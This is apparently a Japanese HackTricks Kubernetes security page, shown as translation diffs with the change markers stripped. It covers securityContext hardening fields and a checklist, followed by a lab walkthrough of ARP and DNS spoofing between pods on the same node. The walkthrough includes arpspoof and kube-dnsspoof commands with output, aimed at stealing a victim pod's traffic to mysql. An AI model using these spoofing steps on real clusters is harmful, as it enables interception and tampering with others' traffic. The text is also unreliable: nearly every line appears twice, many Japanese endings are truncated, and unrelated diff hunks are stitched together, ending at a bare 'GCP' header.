| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>runAsNonRoot</strong></a><br><em>boolean</em></p> | コンテナが非rootユーザーとして実行される必要があることを示します。trueの場合、Kubeletはランタイムでイメージを検証し、UID 0root)として実行されないことを確認し、そうであればコンテナの起動に失敗します。 |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>runAsUser</strong></a><br><em>integer</em></p> | コンテナプロセスのエントリポイントを実行するための**UID**。未指定の場合は、イメージメタデータで指定されたユーザーがデフォルトになります。 |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>seLinuxOptions</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#selinuxoptions-v1-core"><em>SELinuxOptions</em></a><br><em>More info about</em> <em><strong>seLinux</strong></em></p> | **すべてのコンテナに適用されるSELinuxコンテキスト**。未指定の場合、コンテナランタイムは各コンテナに対してランダムなSELinuxコンテキストを割り当てます。 |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>seccompProfile</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#seccompprofile-v1-core"><em>SeccompProfile</em></a><br><em>More info about</em> <em><strong>Seccomp</strong></em></p> | このポッド内のコンテナが使用する**seccompオプション**。 |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>supplementalGroups</strong></a><br><em>integer array</em></p> | コンテナの主要GIDに加えて、**各コンテナで実行される最初のプロセスに適用されるグループのリスト**。 |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>sysctls</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#sysctl-v1-core"><em>Sysctl</em></a> <em>array</em><br><em>More info about</em> <a href="https://www.garron.me/en/go2linux/sysctl-linux.html"><em><strong>sysctls</strong></em></a></p> | Sysctlsは、ポッドに使用される**名前空間付きsysctlsのリスト**を保持します。サポートされていないsysctlsを持つポッド(コンテナランタイムによって)は起動に失敗する可能性があります。 |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>windowsOptions</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#windowssecuritycontextoptions-v1-core"><em>WindowsSecurityContextOptions</em></a></p> | すべてのコンテナに適用されるWindows有の設定。未指定の場合、コンテナのSecurityContext内のオプションが使用されます。 |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>fsGroupChangePolicy</strong></a><br><em>string</em></p> | Pod 内で公開される前に、volume の **所有権と権限の変更** をどう行うかを定義する。 |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>runAsGroup</strong></a><br><em>integer</em></p> | container process の entrypoint を実行するための **GID**。未設定の場合は runtime のデフォルトを使う。SecurityContext でも設定可能。 |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>runAsNonRoot</strong></a><br><em>boolean</em></p> | container が non-root user として実行されなければならないことを示す。true の場合、Kubelet は runtime 時に image を検証し、UID 0 (root) で実行されないことを確認する。もしそうなら container の起動に失敗す。 |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>runAsUser</strong></a><br><em>integer</em></p> | container process の entrypoint を実行するための **UID**。未指定の場合、image metadata で指定された user がデフォルトにな。 |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>seLinuxOptions</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#selinuxoptions-v1-core"><em>SELinuxOptions</em></a><br><em>More info about</em> <em><strong>seLinux</strong></em></p> | すべての containers に適用される **SELinux context**。未指定の場合、container runtime は各 container に対してランダムな SELinux context を割り当て。 |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>seccompProfile</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#seccompprofile-v1-core"><em>SeccompProfile</em></a><br><em>More info about</em> <em><strong>Seccomp</strong></em></p> | この pod で containers が使用する **seccomp options**。 |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>supplementalGroups</strong></a><br><em>integer array</em></p> | container の primary GID に加えて、各 container で実行される最初の process に適用される **groups** のリスト。 |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>sysctls</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#sysctl-v1-core"><em>Sysctl</em></a> <em>array</em><br><em>More info about</em> <a href="https://www.garron.me/en/go2linux/sysctl-linux.html"><em><strong>sysctls</strong></em></a></p> | Sysctls は、pod で使用される **namespaced sysctls のリスト** を保持する。container runtime がサポートていない sysctls を持つ Pods は起動に失敗する可能性があ。 |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>windowsOptions</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#windowssecuritycontextoptions-v1-core"><em>WindowsSecurityContextOptions</em></a></p> | すべての containers に適用される Windows有の設定。未指定の場合は、container の SecurityContext 内の options が使われる。 |
## SecurityContext
[**From the docs:**](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core)
[**docsより:**](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core)
このコンテキストは**コンテナ定義内**に設定されます。防御的なセキュリティの観点から考慮すべきことは次のとおりです
この context は **containers definitions** 内で設定されます。防御的なセキュリティの観点では、以下を考慮すべきです
- **allowPrivilegeEscalation****False**に設定する
-密の**capabilities**を追加せず(必要のないものは削除する)
- **privileged****False**に設定する
- 可能であれば、**readOnlyFilesystem****True**に設定する
- **runAsNonRoot****True**に設定し、**runAsUser**を設定する
- 可能であれば、**seLinuxOptions****seccompProfile**を指定して**permissions**を**制限**することを検討する
- **runAsGroup**を介して**privilege** **group**アクセスを与えない。
- **allowPrivilegeEscalation****False**する
-微な **capabilities** を追加しない(不要なものは削除する)
- **privileged****False**する
- 可能であれば、**readOnlyFilesystem****True**する
- **runAsNonRoot****True**し、**runAsUser** を設定する
- 可能であれば、**seLinuxOptions****seccompProfile** を指定して **permissions****制限** する
- **runAsGroup** 経由で **privilege****group** アクセスを与えない。
**SecurityContext**と**PodSecurityContext**の両方に設定された属性に注意してください。**SecurityContext**で指定された値が**優先**されます
**SecurityContext****PodSecurityContext** の両方で属性が設定されている場合、**SecurityContext** で指定された値が **優先** されることに注意してください
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>allowPrivilegeEscalation</strong></a><br><em>boolean</em></p> | **AllowPrivilegeEscalation**は、プロセスが親プロセスよりも**より多くの権限を得る**ことができるかどうかを制御します。このboolは、no_new_privsフラグがコンテナプロセスに設定されるかどうかを直接制御します。AllowPrivilegeEscalationは、コンテナが**Privileged**として実行されるか**CAP_SYS_ADMIN**を持つ場合は常にtrueです。 |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>allowPrivilegeEscalation</strong></a><br><em>boolean</em></p> | **AllowPrivilegeEscalation** は、process が親 process よりも **多くの privileges を得られるか** を制御する。この bool は、container process に no_new_privs フラグを設定するかを直接制御する。container が **Privileged** として実行されるか **CAP_SYS_ADMIN** を持つ場合、AllowPrivilegeEscalation は常に true になる |
| ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>capabilities</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#capabilities-v1-core"><em>Capabilities</em></a><br><em>More info about</em> <em><strong>Capabilities</strong></em></p> | コンテナを実行する際に追加/削除する**capabilities**。デフォルトはデフォルトのcapabilitiesセットです。 |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>privileged</strong></a><br><em>boolean</em></p> | 特権モードでコンテナを実行します。特権コンテナ内のプロセスは、基本的に**ホスト上のrootと同等**です。デフォルトはfalseです。 |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>procMount</strong></a><br><em>string</em></p> | procMountは、コンテナに使用する**procマウントのタイプ**を示します。デフォルトはDefaultProcMountで、読み取り専用パスとマスクされたパスに対してコンテナランタイムのデフォルトを使用します。 |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>readOnlyRootFilesystem</strong></a><br><em>boolean</em></p> | この**コンテナが読み取り専用のルートファイルシステムを持つかどうか**。デフォルトはfalseです。 |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>runAsGroup</strong></a><br><em>integer</em></p> | コンテナプロセスのエントリポイントを実行するための**GID**。未設定の場合はランタイムのデフォルトを使用します。 |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>runAsNonRoot</strong></a><br><em>boolean</em></p> | コンテナが**非rootユーザーとして実行される必要がある**ことを示します。trueの場合、Kubeletはランタイムでイメージを検証し、UID 0root)として実行されないことを確認し、そうであればコンテナの起動に失敗します。 |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>runAsUser</strong></a><br><em>integer</em></p> | コンテナプロセスのエントリポイントを実行するための**UID**。未指定の場合は、イメージメタデータで指定されたユーザーがデフォルトになります。 |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>seLinuxOptions</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#selinuxoptions-v1-core"><em>SELinuxOptions</em></a><br><em>More info about</em> <em><strong>seLinux</strong></em></p> | コンテナに適用される**SELinuxコンテキスト**。未指定の場合、コンテナランタイムは各コンテナに対してランダムなSELinuxコンテキストを割り当てます。 |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>seccompProfile</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#seccompprofile-v1-core"><em>SeccompProfile</em></a></p> | このコンテナが使用する**seccompオプション**。 |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>windowsOptions</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#windowssecuritycontextoptions-v1-core"><em>WindowsSecurityContextOptions</em></a></p> | すべてのコンテナに適用される**Windows有の設定**。 |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>capabilities</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#capabilities-v1-core"><em>Capabilities</em></a><br><em>More info about</em> <em><strong>Capabilities</strong></em></p> | container 実行時に追加/削除する **capabilities**デフォルトの capabilities セットが既定値。 |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>privileged</strong></a><br><em>boolean</em></p> | privileged mode で container を実行する。privileged containers 内の process は本質的に **host 上の root と同等**。デフォルトは false。 |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>procMount</strong></a><br><em>string</em></p> | procMount は、containers に使用する **proc mount の種類** を示す。デフォルトは DefaultProcMount で、readonly paths と masked paths に container runtime のデフォルトを使。 |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>readOnlyRootFilesystem</strong></a><br><em>boolean</em></p> | この **container が read-only root filesystem を持つか**。デフォルトは false。 |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>runAsGroup</strong></a><br><em>integer</em></p> | container process の entrypoint を実行するための **GID**。未設定の場合は runtime のデフォルトを使。 |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>runAsNonRoot</strong></a><br><em>boolean</em></p> | container が **non-root user として実行されなければならない** ことを示す。true の場合、Kubelet は runtime 時に image を検証し、UID 0 (root) で実行されないことを確認する。実行される場合は container の起動に失敗す。 |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>runAsUser</strong></a><br><em>integer</em></p> | container process の entrypoint を実行するための **UID**。未指定の場合、image metadata で指定された user がデフォルトにな。 |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>seLinuxOptions</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#selinuxoptions-v1-core"><em>SELinuxOptions</em></a><br><em>More info about</em> <em><strong>seLinux</strong></em></p> | container に適用される **SELinux context**。未指定の場合、container runtime は各 container に対してランダムな SELinux context を割り当て。 |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>seccompProfile</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#seccompprofile-v1-core"><em>SeccompProfile</em></a></p> | この container で使用する **seccomp options**。 |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>windowsOptions</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#windowssecuritycontextoptions-v1-core"><em>WindowsSecurityContextOptions</em></a></p> | すべての containers に適用される **Windows有の設定**。 |
## Practical workload review checklist
Pod または workload template をレビューする際は、`spec.securityContext` と、`containers``initContainers``ephemeralContainers` 配下の各 container-level `securityContext` の両方を確認してください。container-level の field は pod-level のデフォルトを上書きできるため、安全そうに見える pod default でも、各 container が安全であるとは限りません。
優先して確認すべき高リスクな組み合わせ:
- `privileged: true`。特に `hostPID``hostIPC``hostNetwork``hostPath`、host ports、または runtime socket mounts と組み合わさる場合。
- `SYS_ADMIN``NET_ADMIN``SYS_PTRACE``SYS_MODULE``DAC_READ_SEARCH``DAC_OVERRIDE` などの追加 capabilities。
- attacker-controlled code を実行できる containers での `allowPrivilegeEscalation: true`、または未設定。
- `seccompProfile: Unconfined``procMount: Unmasked`、または機微な workloads で runtime profiles が不足している場合。
- 信頼できない input を処理する workloads における writable root filesystem や広範な writable volume mounts。
- マルチテナント namespace での CPU、memory、ephemeral-storage の requests と limits の欠如。
ほとんどの application workloads では、non-root UID で実行し、`runAsNonRoot: true` を設定し、`allowPrivilegeEscalation: false` を設定し、すべての capabilities を drop して必要最小限のものだけを追加し、`seccompProfile: RuntimeDefault` を使い、read-only root filesystem を優先し、host namespaces、hostPath mounts、privileged mode は避けるのが良い baseline です。
cluster レベルでは、可能な場合は [Pod Security Admission](https://kubernetes.io/docs/concepts/security/pod-security-admission/) の namespace labels を使って Kubernetes の [Pod Security Standards](https://kubernetes.io/docs/concepts/security/pod-security-standards/) を強制します。対応可能な namespace では `restricted` を使い、通常の application namespaces では少なくとも `baseline` を使い、privileged の例外は限定的かつ文書化し、信頼できる platform namespaces または node pools にのみ分離してください。
## References
- [https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core)
- [https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core)
- [https://kubernetes.io/docs/tasks/configure-pod-container/security-context/](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/)
- [https://kubernetes.io/docs/concepts/security/linux-kernel-security-constraints/](https://kubernetes.io/docs/concepts/security/linux-kernel-security-constraints/)
- [https://kubernetes.io/docs/concepts/security/pod-security-standards/](https://kubernetes.io/docs/concepts/security/pod-security-standards/)
- [https://kubernetes.io/docs/concepts/security/pod-security-admission/](https://kubernetes.io/docs/concepts/security/pod-security-admission/)
{{#include ../../../banners/hacktricks-training.md}}
@@ -4,16 +4,16 @@
## Introduction
Kubernetesでは、デフォルトの動作により、**同じノードに存在するすべてのコンテナ間で接続確立される**ことが許可されています。これは、名前空間の区別に関係なく適用されます。このような接続は、**Layer 2**イーサネット)まで拡張されます。したがって、この構成はシステムを脆弱性にさらす可能性があります。具体的には、**悪意のあるコンテナ**が同じノードにある他のコンテナに対して**ARPスプーフィング攻撃**を実行る可能性を開きます。この攻撃中、悪意のあるコンテナは、他のコンテナ向けのネットワークトラフィックを欺いて傍受または変更することができます。
Kubernetesでは、デフォルトの動作として、**同じnode上に存在するすべてのコンテナ**間で接続確立が許可されることが確認されています。これはnamespaceの違いに関係なく適用されます。この接続性は**Layer 2**Ethernet)まで及びます。その結果、この設定はシステムを脆弱性にさらす可能性があります。具体的には、同じnode上の他のコンテナに対して**malicious container**が**ARP spoofing attack**を実行できる可能性があります。このような攻撃では、malicious containerが他のコンテナ宛てのネットワークトラフィックを欺いて傍受したり、改ざんしたりできます。
ARPスプーフィング攻撃は、**攻撃者がローカルエリアネットワーク上で偽のARP**(アドレス解決プロトコル)メッセージを送信することを含みます。これにより、**攻撃者のMACアドレスがネットワーク上の正当なコンピュータまたはサーバーのIPアドレスにリンクされます**。このような攻撃が成功裏に実行された後、攻撃者はデータを傍受、変更、または停止ることができます。この攻撃はOSIモデルのLayer 2で実行されるため、Kubernetesにおけるこのレイヤーでのデフォルト接続性はセキュリティ上の懸念を引き起こします。
ARP spoofing attacksとは、**attackerが偽造されたARP**Address Resolution Protocol)メッセージをローカルエリアネットワーク上に送信する攻撃です。これにより、**attackerのMAC addressがネットワーク上の正当なコンピュータまたはserverのIP addressに結び付けられます**。この攻撃が成功すると、attackerは通信中のデータを傍受、改ざん、あるいは停止させることができます。攻撃はOSI modelのLayer 2で実行されるため、Kubernetesにおけるこのレイヤーでのデフォルト接続性はセキュリティ上の懸念となります。
シナリオでは、4台のマシンが作成されます
このシナリオでは、4つのmachineが作成されます:
- ubuntu-pe: ノードにエスケープしてメトリクスを確認するための特権マシン(攻撃には必要ありません
- **ubuntu-attack**: **悪意のある**コンテナ(デフォルトの名前空間内)
- **ubuntu-victim**: **被害者**マシン(kube-system名前空間内)
- **mysql**: **被害者**マシン(デフォルトの名前空間内)
- ubuntu-pe: nodeにescapeしてmetricsを確認するためのPrivileged machine(攻撃には不要
- **ubuntu-attack**: default namespace内の**malicious** container
- **ubuntu-victim**: kube-system namespace内の**Victim** machine
- **mysql**: default namespace内の**Victim** machine
```yaml
echo 'apiVersion: v1
kind: Pod
@@ -96,22 +96,22 @@ kubectl exec -it ubuntu-attack -- bash -c "apt update; apt install -y net-tools
kubectl exec -it ubuntu-victim -n kube-system -- bash -c "apt update; apt install -y net-tools curl netcat mysql-client; bash"
kubectl exec -it mysql bash -- bash -c "apt update; apt install -y net-tools; bash"
```
## 基本的なKubernetesネットワーキング
## 基本的な Kubernetes Networking
ここで紹介されているネットワーキングのトピックについての詳細は、リファレンスを参照してください。
ここで紹介する networking トピックについてさらに詳しく知りたい場合は、references を参照してください。
### ARP
一般的に言えば、**ノード内のポッド間ネットワーキング**は、すべてのポッドを接続する**ブリッジ**を介して利用可能です。このブリッジは「**cbr0**」と呼ばれます。(一部のネットワークプラグインは独自のブリッジをインストールします。)**cbr0ARP**アドレス解決プロトコル)解決も処理できます。cbr0に到着した受信パケットは、ARPを使用して宛先MACアドレスを解決できます。
一般的に、**node 内の pod-to-pod networking** は、すべての pod を接続する **bridge** を介して利用できます。この bridge は「**cbr0**」と呼ばれます。(一部の network plugin は独自の bridge をインストールします。)**cbr0ARP**Address Resolution Protocol)の解決も処理できます。incoming packet が cbr0 に到着すると、ARP を使って destination の MAC address を解決できます。
この事実は、デフォルトでは、**同じノードで実行されているすべてのポッド**が、**同じノード内の他のポッド**(名前空間に関係なく)とイーサネットレベル(レイヤー2)で**通信**できることを意味します。
この事実は、デフォルトでは、**同じ node で動作しているすべての pod** が、ethernet levellayer 2)で同じ node 内の他の任意の pod と**communicate** できることを意味しますnamespace とは独立に)
> [!WARNING]
> したがって、**同じノード内のポッド間でARPスプーフィング攻撃を実行することが可能です。**
> そのため、同じ node 内の pod 間で A**RP Spoofing attacks** を実行することが可能です。
### DNS
Kubernetes環境では、通常kube-system名前空間で1つ(またはそれ以上)の**DNSサービスが実行されている**のを見つけることができます:
kubernetes 環境では、通常 kube-system namespace で 1 つ(または複数)の **DNS services running** を見つけることができます:
```bash
kubectl -n kube-system describe services
Name: kube-dns
@@ -136,27 +136,30 @@ Port: metrics 9153/TCP
TargetPort: 9153/TCP
Endpoints: 172.17.0.2:9153
```
前の情報には興味深いことが見られます。**サービスのIP****10.96.0.10**ですが、**サービスを実行しているポッドのIP**は**172.17.0.2**です。
前の情報を見ると興味深いものが分かります。**serviceのIP****10.96.0.10** ですが、serviceを実行している **podのIP****172.17.0.2** です。
任意のポッド内でDNSアドレスを確認すると、次のようなものが見つかります:
任意のpod内でDNS addressを確認すると、次のようなものが見つかります:
```
cat /etc/resolv.conf
nameserver 10.96.0.10
```
しかし、ポッドはそのアドレスに到達する方法を**知らない**ため、この場合のポッド範囲は172.17.0.10/26です
しかし、pod はその **address** への行き方を **知らない**。なぜなら、この場合の **pod range**172.17.0.10/26 だからである
したがって、ポッドは**アドレス10.96.0.10にDNSリクエストを送信**し、cbr0によって**172.17.0.2に変換**されます
したがって、pod は **DNS requests を address 10.96.0.10 に送信**し、それは cbr0 によって **172.17.0.2 に translated** される
> [!WARNING]
> これは、ポッドの**DNSリクエスト**が**常に**ブリッジに行き、**サービスIPをエンドポイントIPに変換**することを意味します。たとえDNSサーバーがポッドと同じサブネットワークにあってもです
> これは、pod の **DNS request** は、DNS server が pod と同じ subnetwork にあったとしても、**service IP を endpoint IP に translate するために bridge を必ず通る**ことを意味する
>
> これを知っており、**ARP攻撃が可能であることを知っている**場合、ノード内の**ポッド**は**サブネットワーク内の各ポッド**と**ブリッジ**間の**トラフィックを傍受**し、DNSサーバーからの**DNSレスポンスを変更**することができます(**DNSスプーフィング**)。
> これを踏まえ、さらに **ARP attacks are possible** であることを考えると、node 内の **pod** は、**subnetwork** 内の **各 pod** と **bridge** の間の **traffic** を **intercept** し、DNS server からの **DNS responses** を **modify** できる(**DNS Spoofing**)。
>
> さらに、**DNSサーバー**が**攻撃者と同じノードにある**場合、攻撃者はクラスター内の任意のポッドの**すべてのDNSリクエストを傍受**し(DNSサーバーとブリッジの間)、レスポンスを変更することができます
> さらに、**DNS server** が attacker と **同じ node** にある場合、attacker は cluster 内の任意の pod の **DNS request** をすべて **intercept** し(DNS server と bridge の間)、response を modify できる
## 同じノード内のポッドにおけるARPスプーフィング
> [!NOTE]
> 実際の cluster でこれが機能すると決めつける前に、active CNI と DNS path を確認してください。CNI によっては same-node traffic の扱いが異なる場合があり、NodeLocal DNSCache を使う cluster では、pod の DNS query が CoreDNS に転送される前に node-local address に送られることがあります。そのような環境では、DNS spoofing は pod の配置、packet capabilities、resolver configuration、node-local cache の動作、そして application が TLS や別の identity mechanism で peer を検証するかどうかに依存します。
私たちの目標は、**ubuntu-victimからmysqlへの通信を少なくとも盗むこと**です。
## 同じ Node 上の pod における ARP Spoofing
私たちの目標は、**ubuntu-victim から mysql への通信を少なくとも steal すること**です。
### Scapy
```bash
@@ -233,16 +236,16 @@ arpspoof -t 172.17.0.9 172.17.0.10
```
## DNS Spoofing
既に述べたように、もしあなたが**DNSサーバーポッドと同じノードのポッドを侵害**した場合、**ARPSpoofing**を使用して**ブリッジとDNS**ポッドを**MitM**し、**すべてのDNSレスポンスを変更**することができます。
既に述べたように、**DNS server pod と同じ node 上にある pod を compromise できれば**、**ARPSpoofing** を使って **bridge** と **DNS** pod の間で **MitM** し、**すべての DNS responses を modify** できます。
あなたには、これをテストするための素晴らしい**ツール**と**チュートリアル**があります:[**https://github.com/danielsagi/kube-dnsspoof/**](https://github.com/danielsagi/kube-dnsspoof/)
これをテストするためのとても良い**tool** と **tutorial** が [**https://github.com/danielsagi/kube-dnsspoof/**](https://github.com/danielsagi/kube-dnsspoof/) にあります。
私たちのシナリオでは、**攻撃者ポッドにツールをダウンロード**し、**スプーフィングしたいドメイン**を含む**`hosts`という名前のファイルを作成**します。
今回のシナリオでは、attacker pod でその**tool** を**download** し、**spoof** したい **domains** を含む `hosts` という名前の**file** を作成します。
```
cat hosts
google.com. 1.1.1.1
```
ubuntu-victimマシンに対して攻撃を実行します:
Ubuntu-victim マシンに対して攻撃を実行してください:
```
python3 exploit.py --direct 172.17.0.10
[*] starting attack on direct mode to pod 172.17.0.10
@@ -260,47 +263,49 @@ dig google.com
google.com. 1 IN A 1.1.1.1
```
> [!NOTE]
> 自分DNSスプーフィングスクリプトを作成しようとする場合、**DNS応答を変更するだけでは**、**機能しません**。なぜなら、**応答**には**悪意のある****ポッド****src IP**が含まれ、**受け入れられない**からです。\
> 被害者がDNSリクエストを送信する**DNS****src IP**を持つ**新しいDNSパケット**を生成する必要があります(これは172.16.0.2のようなもので10.96.0.10ではありません。これはK8s DNSサービスのIPでありDNSサーバーのIPではありません。詳細はイントロダクションで説明します)。
> 自分DNS spoofing スクリプトを作うとする場合、**DNS response** を **ただ変更するだけ** では **動作しません**。なぜなら、その **response** の **src IP** が **malicious** **pod** の IP address になり、**受け入れられない** からです。\
> **victim** が DNS request を送信した **DNS****src IP** を持つ **新しい DNS packet** を生成する必要があります(これは 172.16.0.2 のようなものです。10.96.0.10 ではありません。これは K8s DNS service IP であり DNS server ip ではありません。これについては introduction で詳しく説明します)。
## coreDNS configmapを介したDNSスプーフィング
## coreDNS configmap を使った DNS Spoofing
kube-system名前空間のconfigmap `coredns`に対する書き込み権限を持つユーザーは、クラスターのDNS応答を変更できます。
kube-system namespace の configmap `coredns` に対して write permissions を持つ user は、cluster の DNS responses を変更できます。
この攻撃に関する詳細情報は以下を確認してください:
NodeLocal DNSCache が deployed されている場合も確認してください。通常、これは hostNetwork DaemonSet として動作し、独自の ConfigMap、logs、cache、forwarding path を持っています。CoreDNS の変更だけが、DNS behavior に影響したり観測されたりする唯一の場所とは限りません。
この attack の詳細は以下を参照してください:
{{#ref}}
abusing-roles-clusterroles-in-kubernetes/README.md
{{/ref}}
## 公開されたKubernetes管理サービスの悪用
## expose された kubernetes management services の悪用
Apache NiFi、Kubeflow、Argo Workflows、Weave Scope、Kubernetesダッシュボードなどのサービスは、インターネットまたはKubernetesネットワーク内に公開されていることがよくあります。Kubernetesを管理するために使用されるプラットフォームを**見つけてアクセスできた**攻撃者は、それを悪用してKubernetes APIにアクセスし、新しいポッドを作成したり、既存のポッドを変更したり、さらには削除したりすることができます。
Apache NiFi、Kubeflow、Argo Workflows、Weave Scope、Kubernetes dashboard のような services は、internet または kubernetes network 内に expose されていることがよくあります。**kubernetes を管理するために使われている platform を見つけて access できた** attacker は、それを悪用して kubernetes API への access を得て、新しい pods の作成、既存のものの変更、さらには削除などを実行できます。
## Kubernetesネットワークポリシーの列挙
## kubernetes network policies の列挙
構成された**networkpolicies**を取得します:
設定済みの **networkpolicies** を取得する:
```bash
kubectl get networkpolicies --all-namespaces
```
**Callico** ネットワークポリシーを取得する:
Get **Callico** network policies:
```bash
kubectl get globalnetworkpolicy --all-namespaces
```
**Cillium** ネットワークポリシーを取得する:
**Cillium** network policies を取得する:
```bash
kubectl get ciliumnetworkpolicy --all-namespaces
```
ネットワークプラグインセキュリティソリューションによってインストールされた他のポリシー関連のCRDを取得します:
ネットワークプラグインまたはセキュリティソリューションによってインストールされた他の policy-related CRDs を取得す:
```bash
kubectl get crd | grep -i policy
```
## トラフィックのキャプチャ
ツール [**Mizu**](https://github.com/up9inc/mizu) は、Kubernetesのシンプルでありながら強力な API **トラフィックビューワー**で、マイクロサービス間のすべての API 通信を **表示**し、デバッグや回帰のトラブルシューティングを支援します。\
選択したポッドにエージェントをインストールし、トラフィック情報を収集してウェブサーバーに表示します。ただし、これには高い K8s 権限が必要で(あまりステルスではありません)。
ツール[**Mizu**](https://github.com/up9inc/mizu)は、Kubernetes向けのシンプルかつ強力なAPI **traffic viewer**で、microservices間の**すべてのAPI communicationを確認**でき、debugやregressionのトラブルシュートに役立ちます。\
選択したpodsにagentsをインストールしてtraffic情報を収集し、web serverで表示します。ただし、これには高いK8s権限が必要です(また、あまりstealthyではありません)。
## 参考文献
## References
- [https://www.cyberark.com/resources/threat-research-blog/attacking-kubernetes-clusters-through-your-network-plumbing-part-1](https://www.cyberark.com/resources/threat-research-blog/attacking-kubernetes-clusters-through-your-network-plumbing-part-1)
- [https://blog.aquasec.com/dns-spoofing-kubernetes-clusters](https://blog.aquasec.com/dns-spoofing-kubernetes-clusters)
@@ -4,62 +4,62 @@
## GCP
